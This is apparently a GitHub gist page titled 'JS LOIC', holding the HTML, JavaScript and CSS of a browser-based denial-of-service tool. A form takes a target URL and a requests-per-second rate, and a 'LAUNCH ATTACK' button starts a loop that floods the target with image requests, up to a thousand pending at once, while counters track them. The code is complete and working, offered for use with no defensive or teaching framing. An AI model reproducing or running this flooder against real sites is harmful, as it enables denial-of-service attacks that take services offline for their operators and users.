Skip to content

Instantly share code, notes, and snippets.

@heiswayi
Last active April 3, 2024 14:25
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save heiswayi/785b98c18a2ee14defd6 to your computer and use it in GitHub Desktop.
Save heiswayi/785b98c18a2ee14defd6 to your computer and use it in GitHub Desktop.
JS LOIC
<h1 class="main-title">JS LOIC</h1>
<div class="form">
<div class="target-url">
<label>Target URL:</label>
<input id="targetURL" value="" placeholder="Enter target URL here" />
</div>
<div class="requests-per-second">
<label>Requests Per Second:</label>
<input id="rps" value="10" />
</div>
<div class="append-message">
<label>Append Message:</label>
<input id="message" value="" placeholder="(Optional)" />
</div>
<div class="fire-button">
<button id="fireButton">LAUNCH ATTACK</button>
</div>
<div class="attack-status">
<h3>Attack Status</h3>
<div>
<label class="status-requested">Requested:</label> <strong><span id="requestedCtr">0</span></strong></div>
<div>
<label class="status-succeed">Succeed:</label> <strong><span id="succeededCtr">0</span></strong></div>
<div>
<label class="status-failed">Failed:</label> <strong><span id="failedCtr">0</span></strong></div>
</div>
</div>
(function() {
var fireInterval;
var isFiring = false;
var requestedCtrNode = document.getElementById("requestedCtr"),
succeededCtrNode = document.getElementById("succeededCtr"),
failedCtrNode = document.getElementById("failedCtr"),
targetURLNode = document.getElementById("targetURL"),
fireButton = document.getElementById("fireButton"),
messageNode = document.getElementById("message"),
rpsNode = document.getElementById("rps"),
timeoutNode = document.getElementById("timeout");
var targetURL = targetURLNode.value;
targetURLNode.onchange = function() {
targetURL = this.value;
};
var requestsHT = {}; // requests hash table, may come in handy later
var requestedCtr = 0,
succeededCtr = 0,
failedCtr = 0;
var makeHttpRequest = function() {
if (requestedCtr > failedCtr + succeededCtr + 1000) { //Allow no more than 1000 hung requests
return;
};
var rID = Number(new Date());
var img = new Image();
img.onerror = function() {
onFail(rID);
};
img.onabort = function() {
onFail(rID);
};
img.onload = function() {
onSuccess(rID);
}; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
requestsHT[rID] = img;
onRequest(rID);
};
var onRequest = function(rID) {
requestedCtr++;
requestedCtrNode.innerHTML = requestedCtr;
};
var onComplete = function(rID) {
delete requestsHT[rID];
};
var onFail = function(rID) {
// failedCtr++;
//failedCtrNode.innerHTML = failedCtr;
succeededCtr++; //Seems like the url will always fail it it isn't an image
succeededCtrNode.innerHTML = succeededCtr;
delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
};
var onSuccess = function(rID) {
succeededCtr++;
succeededCtrNode.innerHTML = succeededCtr;
delete requestsHT[rID];
};
fireButton.onclick = function() {
if (isFiring) {
clearInterval(fireInterval);
isFiring = false;
this.innerHTML = "LAUNCH ATTACK";
} else {
isFiring = true;
this.innerHTML = "STOP FLOODING";
fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
}
};
})();
body {
font-family: monospace;
font-size: 16px;
}
.main-title {
margin: 20px auto;
text-align: center;
}
.form {
width: 600px;
margin: 0 auto;
}
.target-url,
.requests-per-second,
.append-message,
.fire-button,
.attack-status {
background: #f3f3f3;
padding: 10px;
border: 1px solid #ddd;
}
.target-url label,
.requests-per-second label,
.append-message label,
.attack-status label {
width: 200px;
display: inline-block;
text-align: right;
}
.fire-button button,
.attack-status h3 {
margin-left: 203px;
}
.target-url input,
.append-message input {
width: 300px;
}
.requests-per-second input {
width: 100px;
}
#requestedCtr {
background-color: yellow;
padding-left: 5px;
padding-right: 5px;
}
#succeededCtr {
background-color: green;
color: white;
padding-left: 5px;
padding-right: 5px;
}
#failedCtr {
background-color: red;
color: white;
padding-left: 5px;
padding-right: 5px;
}
.attack-status div {
margin-bottom: 10px;
}
.attack-status h3 {
color: #666;
}
input, button {
padding: 5px;
}
button {
font-weight: bold;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment